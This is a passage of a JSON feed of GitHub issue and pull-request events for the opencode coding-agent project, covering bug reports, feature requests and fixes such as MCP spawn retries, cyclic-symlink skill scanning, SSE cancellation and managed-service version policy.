          "updatedAt": "2026-08-13T02:16:19Z",
          "timestamp": "2026-08-13T02:16:19Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "opencode-agent[bot]",
          "state": "open",
          "assignees": [
            "Hona"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:0d7a7dd5c64f8cfa003a",
        "signalId": "github:anomalyco/opencode:issue:12562",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:12562",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Error: unknown certificate verification error，v1.1.53",
          "text": "### Description <img width=\"2504\" height=\"693\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/dd1d1dde-979c-4c85-86a3-29058db8de36\" /> ### Plugins _No response_ ### OpenCode version _No response_ ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System _No response_ ### Terminal _No response_",
          "url": "https://github.com/anomalyco/opencode/issues/12562",
          "createdAt": "2026-02-07T03:48:52Z",
          "updatedAt": "2026-08-13T02:16:18Z",
          "timestamp": "2026-08-13T02:16:18Z",
          "metrics": {
            "reactions": 1,
            "comments": 4
          },
          "labels": [
            "bug"
          ],
          "author": "Ma-Yongqiang",
          "state": "closed",
          "assignees": [
            "rekram1-node"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:e45267144f7800d151cf",
        "signalId": "github:anomalyco/opencode:issue:41364",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:41364",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[FEATURE] Desktop: voice input for prompts (mic → text) and optional voice summary output",
          "text": "## Feature request Desktop app has no way to control OpenCode by voice / from mobile. On Windows desktop, users would like: 1. **Voice input for the prompt box** (Windows Speech Recognition or Whisper-style): press a hotkey, speak, and the prompt is transcribed into the input — far faster for long commands than typing Chinese/English on a keyboard. 2. Optionally, when the desktop app is minimized, a quick voice command (e.g. hold hotkey) starts listening and sends the prompt. ## Why - OpenClaw/Hermes support voice notes as first-class input for the agent (via WhatsApp voice). - For Chinese users typing long prompts is slow; voice-to-text in the desktop input box is a low-effort high-value UX feature. - The web UI could reuse the same API (MediaRecorder → server-side whisper or browser Web Speech API). ## Scope suggestion - MVP: in Desktop app input box, \"🎤\" button → Windows native speech recognition (or browser Web Speech API in web UI) → insert text into prompt. - Later: voice *output* summary (TTS) after long tasks (like \"任务完成,要点:…\") — configurable via a plugin hook so no model cost.",
          "url": "https://github.com/anomalyco/opencode/issues/41364",
          "createdAt": "2026-08-09T03:58:16Z",
          "updatedAt": "2026-08-13T02:12:08Z",
          "timestamp": "2026-08-13T02:12:08Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "liudongyan13701205717-source",
          "state": "closed",
          "assignees": [
            "Hona"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:c8ea38bbd3cb9ee1ac31",
        "signalId": "github:anomalyco/opencode:pull_request:42020",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42020",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(mcp): retry local server connection on transient spawn failures",
          "text": "### Issue for this PR Closes #41996 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? When opencode spawns MCP servers in parallel (`concurrency: \"unbounded\"` in `packages/opencode/src/mcp/index.ts`), transient races — e.g. `bun x` cache contention while many subprocesses resolve dependencies at once — can kill a subprocess before it completes the MCP initialize handshake. This surfaces as intermittent `Connection closed` / `server unavailable` errors where a different MCP fails on each run. `connectLocal` now re-attempts the connection with exponential backoff (200ms, 2 retries) for transient failures. Re-spawning the process resolves the race because the second spawn hits a warm cache. Permanent errors are not retried: missing binary / invalid command (ENOENT, EACCES, EPERM, \"not found\") and initialization timeouts. ### How did you verify your code works? Repro (from #41996): ```sh for i in 1 2 3; do opencode mcp list 2>&1 | grep -cE \"fail|error\"; done ``` Underlying race reproduced with 3 concurrent `bun x` spawns of the same package — one process dies with `FileNotFound: failed copying files from cache to destination for package googleapis`. With the fix, `connectLocal` retries the failed spawn and connects on the second attempt. Verification: `bun run typecheck` clean; oxlint clean on the touched file (4 pre-existing warnings only); `bun test test/server/httpapi-mcp.test.ts` 5/5 pass. ### Screenshots / recordings n/a ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42020",
          "createdAt": "2026-08-12T12:43:11Z",
          "updatedAt": "2026-08-13T02:09:24Z",
          "timestamp": "2026-08-13T02:09:24Z",
          "metrics": {
            "reactions": 0,
            "comments": 3
          },
          "labels": [],
          "author": "ImBIOS",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:6e1a22ae6f19e822c5b6",
        "signalId": "github:anomalyco/opencode:issue:42217",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42217",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "一个会话中执行完毕一次任务之后，继续发送文字 不会调用大模型的API",
          "text": "### Description 一个会话中执行完毕一次任务之后，继续发送文字 不会调用大模型的API，会话标题也不会调用大模型生成了，这个bug从1.18.16开始的 <img width=\"2218\" height=\"1338\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/beb47d5e-13ff-4aea-bef5-fe07c6731448\" /> ### Plugins _No response_ ### OpenCode version 1.18.17 ### Steps to reproduce 一个会话中执行完毕一次任务之后，继续发送文字 ### Screenshot and/or share link https://opncd.ai/share/V27fPwkA ### Operating System wsl ### Terminal _No response_",
          "url": "https://github.com/anomalyco/opencode/issues/42217",
          "createdAt": "2026-08-13T02:07:48Z",
          "updatedAt": "2026-08-13T02:09:11Z",
          "timestamp": "2026-08-13T02:09:11Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "Gsww123",
          "state": "open",
          "assignees": [
            "neriousy"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:289b045136df7939f317",
        "signalId": "github:anomalyco/opencode:issue:42216",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42216",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[BUG] Cyclic symlinks in global skills cause blank TUI and unbounded memory growth",
          "text": "## Description A cyclic directory symlink inside a global skill causes OpenCode to remain on a completely blank TUI while skill discovery recursively follows the loop. On macOS, the process stayed alive, logs stopped at `message=init`, and memory grew to approximately 7.3 GB. Sampling showed a Bun worker repeatedly performing `openat` calls. Moving the cyclic symlinks out of `~/.agents/skills` fixed the issue immediately. With the same OpenCode binary and project, skill initialization then completed in about one second and the TUI rendered normally. This appears to be a more severe form of #27027. That report covers large symlink targets and slow startup; this case uses an actual symlink cycle and results in effectively unbounded traversal and memory growth. #27072 has a similar blank-TUI symptom but concerns project file scanning rather than skill discovery. ### Expected behavior OpenCode should detect an already visited directory by real path or filesystem identity, skip the cyclic edge, emit a warning containing the offending path, and continue rendering the TUI. ### Actual behavior - TUI remains completely blank - logs stop at `message=init` - the process continuously traverses files - memory usage keeps growing - no actionable error identifies the cyclic skill path ### Diagnostic result Following the affected skill tree reproduced recursive path expansion. After removing 16 nested symlinks that formed self and cross-directory cycles, the followed traversal contained only 177 entries and OpenCode logged `init count=10` before rendering the full welcome screen. ## Plugins None ## OpenCode version 1.18.16, installed with Homebrew ## Steps to reproduce > Warning: this can cause rapid memory growth. Run only in a disposable HOME and stop the process promptly. ```sh TEST_HOME=$(mktemp -d) mkdir -p \"$TEST_HOME/.agents/skills/loop-skill\" cat > \"$TEST_HOME/.agents/skills/loop-skill/SKILL.md\" <<EOF --- name: loop-skill description: Reproduce cyclic skill symlink scanning --- EOF ln -s \"$TEST_HOME/.agents/skills/loop-skill\" \\ \"$TEST_HOME/.agents/skills/loop-skill/self\" HOME=\"$TEST_HOME\" opencode ``` The TUI remains blank while the process recursively follows `self`. Remove the cyclic link and rerun: ```sh unlink \"$TEST_HOME/.agents/skills/loop-skill/self\" HOME=\"$TEST_HOME\" opencode ``` The TUI renders normally. ## Screenshot and/or share link No screenshot. The blank screen contains no diagnostic text. ## Operating System macOS 26.5.2, Apple Silicon arm64 ## Terminal iTerm2 3.6.11, also reproduced in an isolated PTY",
          "url": "https://github.com/anomalyco/opencode/issues/42216",
          "createdAt": "2026-08-13T02:04:51Z",
          "updatedAt": "2026-08-13T02:09:09Z",
          "timestamp": "2026-08-13T02:09:09Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "YoungSens",
          "state": "open",
          "assignees": [
            "rekram1-node"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:01e5044a747ad0ed39d4",
        "signalId": "github:anomalyco/opencode:issue:42213",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42213",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[Desktop] Tab switch resets scroll position — returns to bottom instead of where you left off",
          "text": "### Description In the desktop app, scrolling to a position in a session, switching to another tab, then switching back resets the view to the bottom of the conversation instead of restoring where I left off. Makes it impossible to continue reading long output or compare content across tabs. ### Steps to reproduce 1. Open a session with a long conversation history 2. Scroll up to an earlier position (e.g. middle of the output) 3. Switch to another tab 4. Switch back to the original tab ### Expected behavior Restore to the scroll position where I left. If the user scrolled up manually, that position should be preserved on return. ### Actual behavior View resets, usually jumping straight to the bottom. ### OpenCode version 1.18.5 ### Operating System macOS 26.5.2 ### Related - #28120 — preserve scroll position on return (closed as not planned) - #35628 — merged fix: unmount hidden panes (scrollTop reset to 0)",
          "url": "https://github.com/anomalyco/opencode/issues/42213",
          "createdAt": "2026-08-13T01:54:57Z",
          "updatedAt": "2026-08-13T02:06:33Z",
          "timestamp": "2026-08-13T02:06:33Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "shiroe120",
          "state": "closed",
          "assignees": [
            "Brendonovich"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:dfbc8b42ecabd2f2cf3d",
        "signalId": "github:anomalyco/opencode:issue:42134",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42134",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Deepseek V4 Pro (new)",
          "text": "Hello! I'm having a problem when using DeepSeek V4 Pro. I get the following error message: \"The latest version of this model is only available hosted in China and requires explicit opt-in.\" Could you please help me understand how to enable it or resolve this issue?",
          "url": "https://github.com/anomalyco/opencode/issues/42134",
          "createdAt": "2026-08-12T19:55:15Z",
          "updatedAt": "2026-08-13T02:05:04Z",
          "timestamp": "2026-08-13T02:05:04Z",
          "metrics": {
            "reactions": 1,
            "comments": 1
          },
          "labels": [],
          "author": "LeandroGue",
          "state": "open",
          "assignees": [
            "jlongster"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:1ab46e21687ffcffa7e5",
        "signalId": "github:anomalyco/opencode:issue:42215",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42215",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Getting 429 Rate Limited In A New Sessopm",
          "text": "### Description The Bug I Encountered: Its been exactly 24 hours since this is happening. When I open OpenCode or the ZEN API for Free Models, It is continuously saying: Free Usage Exceeded, Subscribe To Go, But its already been over 24 hours, The Daily Quota should be resetted. It works sometimes and fails 99% of the time. ### Plugins No Plugins ### OpenCode version 1.18.16 ### Steps to reproduce 1. Start OpenCode 2. Start A New Session 3. Send A Request 4. Encountering \"Free Usage Exceeded, Subscribe To Go\" Even though its over 25 Hours Since I Last Used OpenCode 5. Compaction Had The Same Bug, It Hit \"Free Usage Exceeded, Subscribe To Go\" But it seems to be fixed. ### Screenshot and/or share link _No response_ ### Operating System Windows 11 ### Terminal Powershell",
          "url": "https://github.com/anomalyco/opencode/issues/42215",
          "createdAt": "2026-08-13T01:59:58Z",
          "updatedAt": "2026-08-13T02:01:31Z",
          "timestamp": "2026-08-13T02:01:31Z",
          "metrics": {
            "reactions": 2,
            "comments": 1
          },
          "labels": [],
          "author": "evsphereofficial",
          "state": "open",
          "assignees": [
            "MrMushrooooom"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:d706f196abc9d1c0c825",
        "signalId": "github:anomalyco/opencode:pull_request:42209",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42209",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(client): cancel SSE readers after handshake",
          "text": "## What Reduce native memory growth when long-lived Promise SSE subscriptions reconnect or are cancelled. ## Before / After **Before** The caller AbortSignal remained attached to the native fetch for the entire SSE lifetime. Cancelling a connected stream aborted Bun HTTP directly, and repeated reconnects increased RSS by about 29 MB across 40 tiny-event streams on Bun 1.3.14. **After** The caller signal controls fetch only through the response handshake. Once the response is validated as SSE, cancellation closes the response reader without aborting the native fetch. The same reconnect benchmark dropped to about 23.7 MB of RSS growth. ## How - `packages/httpapi-codegen/src/index.ts` generates a handshake-scoped AbortController, then switches cancellation to `ReadableStreamDefaultReader.cancel()`. - `packages/client/src/promise/generated/client.ts` contains the regenerated Promise client. - `packages/client/test/promise.test.ts` verifies post-handshake cancellation closes the reader while leaving the fetch signal un-aborted. ## Scope This is a transport teardown mitigation, not a complete fix for all long-lived TUI RSS growth. Investigation also found Bun 1.3.14 allocator high-water behavior under large and varied SSE payloads. Replay-safe event scoping and a future stable Bun upgrade remain separate follow-up work. ## Testing - `cd packages/client && bun run generate` - `cd packages/client && git diff --exit-code -- src/promise/generated src/effect/generated src/effect/api` - `cd packages/client && bun run test test/promise.test.ts` (23 passed) - `cd packages/client && bun typecheck` - `cd packages/httpapi-codegen && bun run test` (87 passed) - `cd packages/httpapi-codegen && bun typecheck` - Repository pre-push typecheck (34 packages passed) ## Flow ```mermaid sequenceDiagram participant Caller participant Client participant Fetch as Bun fetch participant Reader as SSE reader Caller->>Client: subscribe(signal) Client->>Fetch: request(handshake signal) Fetch-->>Client: response headers Client->>Client: validate status and content type Client->>Reader: getReader() Caller->>Client: abort() Client->>Reader: cancel() Note over Fetch,Reader: Native fetch is not aborted after handshake ```",
          "url": "https://github.com/anomalyco/opencode/pull/42209",
          "createdAt": "2026-08-13T01:40:43Z",
          "updatedAt": "2026-08-13T01:57:30Z",
          "timestamp": "2026-08-13T01:57:30Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:a0ac97d4218dceaa3b8e",
        "signalId": "github:anomalyco/opencode:pull_request:42211",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42211",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "docs(desktop): add Solid best practices guidance",
          "text": "## Summary - direct desktop contributors to follow Solid best practices - require comments when code intentionally violates the linked guidance ## Testing - Not run (documentation-only change) Requested by: @Hona (Hona via Slack)",
          "url": "https://github.com/anomalyco/opencode/pull/42211",
          "createdAt": "2026-08-13T01:43:02Z",
          "updatedAt": "2026-08-13T01:56:57Z",
          "timestamp": "2026-08-13T01:56:57Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "opencode-agent[bot]",
          "state": "closed",
          "assignees": [
            "Hona"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:6927517e5ccf0ab7aeb1",
        "signalId": "github:anomalyco/opencode:pull_request:42158",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42158",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(opencode): bridge question tool to ACP elicitation",
          "text": "### Issue for this PR Closes #38121 ### Type of change - [x] Bug fix ### What does this PR do? The `question` tool blocked indefinitely in ACP mode. The root cause: `question.asked` events carry a QuestionV2 request ID that must be passed to `sdk.question.reply/reject` to unblock the waiting deferred — but the event subscription never handled these events at all, so the deferred never settled. The fix wires `question.asked` and `question.v2.asked` into the existing event handler switch and forwards them to a new `ACPElicitation.Handler`. The handler calls `unstable_createElicitation` when the connected client advertises elicitation support (set during `initialize`), and falls back to auto-reject otherwise — preserving current behaviour for non-elicitation clients. ### How did you verify your code works? Unit tests cover: accept, decline, cancel, unsupported client auto-reject, elicitation error, multi-question form, multi-select array schema, empty question list, unknown session, `message.part.updated` not triggering elicitation, missing `toolCallId`, and `question.v2.asked`. Integration tests (subprocess) cover the accept path end-to-end with a real opencode process, auto-reject when the client omits elicitation capability, and the decline path. Also verified against a live Docker Compose environment with nsjail: `create_elicitation` arrives over the ACP wire with the correct schema, the form renders, and the accepted answer is injected back into the model turn. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42158",
          "createdAt": "2026-08-12T22:01:03Z",
          "updatedAt": "2026-08-13T01:53:48Z",
          "timestamp": "2026-08-13T01:53:48Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "pjaol",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:2d287f32d96556b89f61",
        "signalId": "github:anomalyco/opencode:pull_request:42208",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42208",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "test(core): reuse project service stub",
          "text": "## What Replace repeated complete `Project.Service` test layers with one small global-project test stub. The affected session tests all need the same behavior: no listed projects or directories, and every directory resolves to the global project unchanged. ## How - Add `packages/core/test/lib/project.ts` with `globalProjectLayer`. - Migrate six exact duplicate layers in session create, remove, log, move, compact, and instruction tests. - Keep partial `Layer.mock` project doubles local so unexpected methods still fail. - Keep the LayerNode acquisition test's service literal local because service construction is what that test measures. ## Scope Test code only. This does not change production project resolution or add a configurable mock framework. ## Testing - `cd packages/core && bun run test test/session-create.test.ts test/session-remove.test.ts test/session-log.test.ts test/session-move.test.ts test/session-compact.test.ts test/session-instructions.test.ts` (49 passed) - `cd packages/core && bun typecheck` - Pre-push full workspace typecheck (34 packages passed)",
          "url": "https://github.com/anomalyco/opencode/pull/42208",
          "createdAt": "2026-08-13T01:34:15Z",
          "updatedAt": "2026-08-13T01:47:11Z",
          "timestamp": "2026-08-13T01:47:11Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:d15bcabbddcf09d2b70e",
        "signalId": "github:anomalyco/opencode:issue:42212",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42212",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "define managed service replacement authority across version skew",
          "text": "## Problem An intentionally downgraded Desktop cannot currently activate its bundled managed-service version when a newer service is already running. The current replacement predicate is directional: a newer client may replace an older service, but an older client may not replace a newer service. Desktop therefore fails with a version mismatch instead of completing the rollback. The alternative attempted in #42185 was also wrong: allowing an older Desktop to accept a newer service would produce a partial rollback where the UI is old but the server remains new. We need to decide who has authority to replace the shared managed service across version skew before changing this policy again. Related context: - #42023 added caller-defined compatibility predicates. - #42185 proposed accepting same-or-newer services and was closed because it prevents a real Desktop rollback. - Autonomous replacement ping-pong has **not** been reproduced in current behavior. It is a hazard to probe if unrestricted starter-wins replacement is proposed, not a current bug. ## Confirmed Repro ### Intentional Desktop rollback fails ```text 1. Launch Desktop/service version B. 2. Confirm the managed service health reports B. 3. Install and launch older Desktop version A. 4. Desktop A requests exact service version A. 5. Replacement is denied because A is not newer than B. Actual: Desktop A fails with a version mismatch. User intent: roll back both Desktop and its managed service to A. ``` This is the only confirmed user-facing version-policy failure in scope today. ## Scenario Matrix Build executable process-level repros for each row. Every repro should record client version, service version, service instance identity, PID, registration changes, stop/start events, returned endpoint, and final health. | Scenario | Starting state | Action | Result to decide | | --- | --- | --- | --- | | Normal upgrade | Service A | Launch Desktop B | Does B replace A and connect to B? | | Intentional rollback | Service B | Launch Desktop A | Does A replace B, isolate, or fail clearly? | | Stale CLI | Service B used by Desktop B | Run CLI A | May an incidental old client downgrade B? | | TUI reconnect | TUI A was connected to service A; service becomes B | Force transport reconnect | Does TUI A adopt B or preserve version intent? | | Concurrent versions | No service, or service A | Launch A and B concurrently | Which request owns the final version? | | Alternating launches | Stable service, then bounded A/B launch sequence | Launch A, B, A, B | Does the sequence settle, reject, or repeatedly replace? | | Restart persistence | A rollback decision completed | Restart Desktop/machine | Does the selected version remain stable? | | Active work | Service B is streaming or running a tool | Request authorized replacement with A | Is replacement blocked, drained, interrupted, or recovered? | | Capability skew | Incumbent lacks authenticated stop/replacement support | Request replacement | Does the client fail clearly, isolate, or use another recovery path? | The alternating-launch case must not be described as a current ping-pong bug unless the executable repro demonstrates autonomous repeated replacement after the bounded launch inputs stop. ## Decisions Required 1. Does an explicit Desktop launch own the desired managed-service version, including downgrade? 2. Is downgrade authority Desktop-specific, or do CLI startup, reconnect, restart, and update preflight share it? 3. Must successful rollback guarantee exact Desktop/server version alignment? 4. May an older client adopt a newer service? If yes, what explicit compatibility contract authorizes it? 5. How do conflicting simultaneous starters select one stable owner? 6. Does reconnect retain the initiating client's version intent or adopt the elected service? 7. What happens when replacement cannot be negotiated: clear failure, isolated service, user confirmation, or another state? 8. What compatibility guarantees exist for databases, durable events, configuration, and protocols when running older server code after newer server code? 9. What user-visible result is required when rollback cannot safely complete? ## Safety Invariants These should hold regardless of which upgrade/downgrade policy we choose: - A successful operation ends with one healthy registered service owner. - A caller either receives a live compatible endpoint or a clear error; it must not report a successful rollback while retaining the wrong server version. - Concurrent same-policy `ensure` calls converge on one final owner after arrivals stop. - An unauthorized client neither stops the incumbent nor starts a replacement. - A stale replacement request cannot stop a successor instance. - An authorized replacement does not start its successor before the incumbent exits. - Registration publication and cleanup preserve exact instance ownership. - Rejected, timed-out, unsupported, and accepted-but-not-exited stop paths have bounded outcomes and do not silently create a second owner. - Contention is bounded per caller and settles after new requests stop. - Replacement does not permit simultaneous old/new execution ownership of the same session. These are target invariants for the design and repro suite, not claims that current code already proves all of them. ## Required Evidence Before Implementation - Scriptable repros for normal upgrade, intentional rollback, stale CLI, concurrent versions, and alternating launches. - At least one real-process concurrent test, not only a pure policy unit test. - Version and exact instance identity captured before and after every transition. - A stated expected result for every scenario row. - Regression tests covering old-to-new, new-to-old, and a replacement-capability boundary. - If active-work replacement is supported, a durable recovery test that proves there is no overlapping execution ownership. Do not claim exactly-once provider calls or tool side effects. ## Out Of Scope Until Reproduced - Claiming current autonomous `A -> B -> A -> B` ping-pong. - Assuming semver ordering implies protocol or storage compatibility. - Claiming all downgrades are safe without proving backward compatibility of persisted state. - Prescribing authenticated stop, PID fallback removal, service isolation, or another mechanism before the scenario outcomes are agreed.",
          "url": "https://github.com/anomalyco/opencode/issues/42212",
          "createdAt": "2026-08-13T01:43:24Z",
          "updatedAt": "2026-08-13T01:43:24Z",
          "timestamp": "2026-08-13T01:43:24Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "kitlangton",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:f19bc41e8441262633a1",
        "signalId": "github:anomalyco/opencode:issue:42210",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42210",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[FEATURE]:提供单一会话内的大纲级别预览和快速跳转，方便在多轮对话之间寻找关键信息",
          "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request 当前如果单一会话中已经有多轮对话，如果要追溯之前某轮对话的输入提示词，则需要拖动滚动条或鼠标滚轮去翻找，非常麻烦，降低了工作效率。所以，非常希望能加入单一会话内的大纲级别预览和快速跳转功能。 ChatGPT已经有类似的功能，详见下方GIF动图： <img width=\"1280\" height=\"592\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/48fc4751-6825-45b0-8432-264535226899\" />",
          "url": "https://github.com/anomalyco/opencode/issues/42210",
          "createdAt": "2026-08-13T01:41:21Z",
          "updatedAt": "2026-08-13T01:42:45Z",
          "timestamp": "2026-08-13T01:42:45Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "roy-tank",
          "state": "open",
          "assignees": [
            "Brendonovich"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:24f44faf18872d13552a",
        "signalId": "github:anomalyco/opencode:pull_request:42188",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42188",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(tui): retry migration status transport errors",
          "text": "## What Keep the migration status overlay polling through temporary server transport loss. ## Before / After **Before** A transient disconnect while the background service restarted ended migration polling and displayed a migration failure toast. **After** Transport errors retry after one second. Actual API or migration errors still surface, and unmount aborts polling without a stale toast. ## How - Retries only `ClientError` transport failures in `packages/tui/src/component/migration-overlay.tsx`. - Checks the abort signal before and after retry delays. - Suppresses cleanup-triggered error presentation. ## Scope This PR does not change service version policy, replacement, stop behavior, discovery validation, service election, or TUI layout. ## Testing - `cd packages/tui && bun run test test/component` (10 passed) - `cd packages/tui && bun typecheck` - Repository pre-push typecheck: 34 packages passed",
          "url": "https://github.com/anomalyco/opencode/pull/42188",
          "createdAt": "2026-08-13T00:07:31Z",
          "updatedAt": "2026-08-13T01:41:10Z",
          "timestamp": "2026-08-13T01:41:10Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:5bc8c6f5c19163c418bc",
        "signalId": "github:anomalyco/opencode:pull_request:42186",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42186",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(client): require authenticated service stop",
          "text": "## What Require the managed service to authenticate and accept an exact-instance stop request before a client starts a replacement. ## Before / After **Before** If health or stop requests timed out, the client could fall back to `SIGTERM` and `SIGKILL` using the PID from registration. Rejected stops could also be ignored while replacement continued. **After** Replacement proceeds only after the registered service accepts an authenticated stop containing its instance ID and exits. Rejected, timed-out, unsupported, or incomplete stops fail without spawning a replacement. An unresponsive registration requires manual recovery. ```mermaid flowchart TD A[Replacement requested] --> B[Authenticated stop with instance ID] B -->|Accepted and exited| C[Start replacement] B -->|Rejected, timed out, unsupported, or still running| D[Fail closed] ``` ## How - Removes automatic `SIGTERM`/`SIGKILL` eviction from Effect and Promise lifecycle clients. - Distinguishes rejected transport from an unsupported legacy stop route. - Propagates stop failures instead of ignoring them. - Adds real child-process tests for rejected, hanging, accepted-but-not-exited, legacy, and unresponsive services. ## Scope This PR does not change version compatibility, Promise registration validation, migration polling, service election, CLI/Desktop policy, or TUI presentation. ## Testing - `cd packages/client && bun run test` (65 passed) - `cd packages/client && bun typecheck` - Repository pre-push typecheck: 34 packages passed",
          "url": "https://github.com/anomalyco/opencode/pull/42186",
          "createdAt": "2026-08-13T00:07:08Z",
          "updatedAt": "2026-08-13T01:41:10Z",
          "timestamp": "2026-08-13T01:41:10Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:33563352972eeb2857f3",
        "signalId": "github:anomalyco/opencode:pull_request:42185",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42185",
          "source": "github",
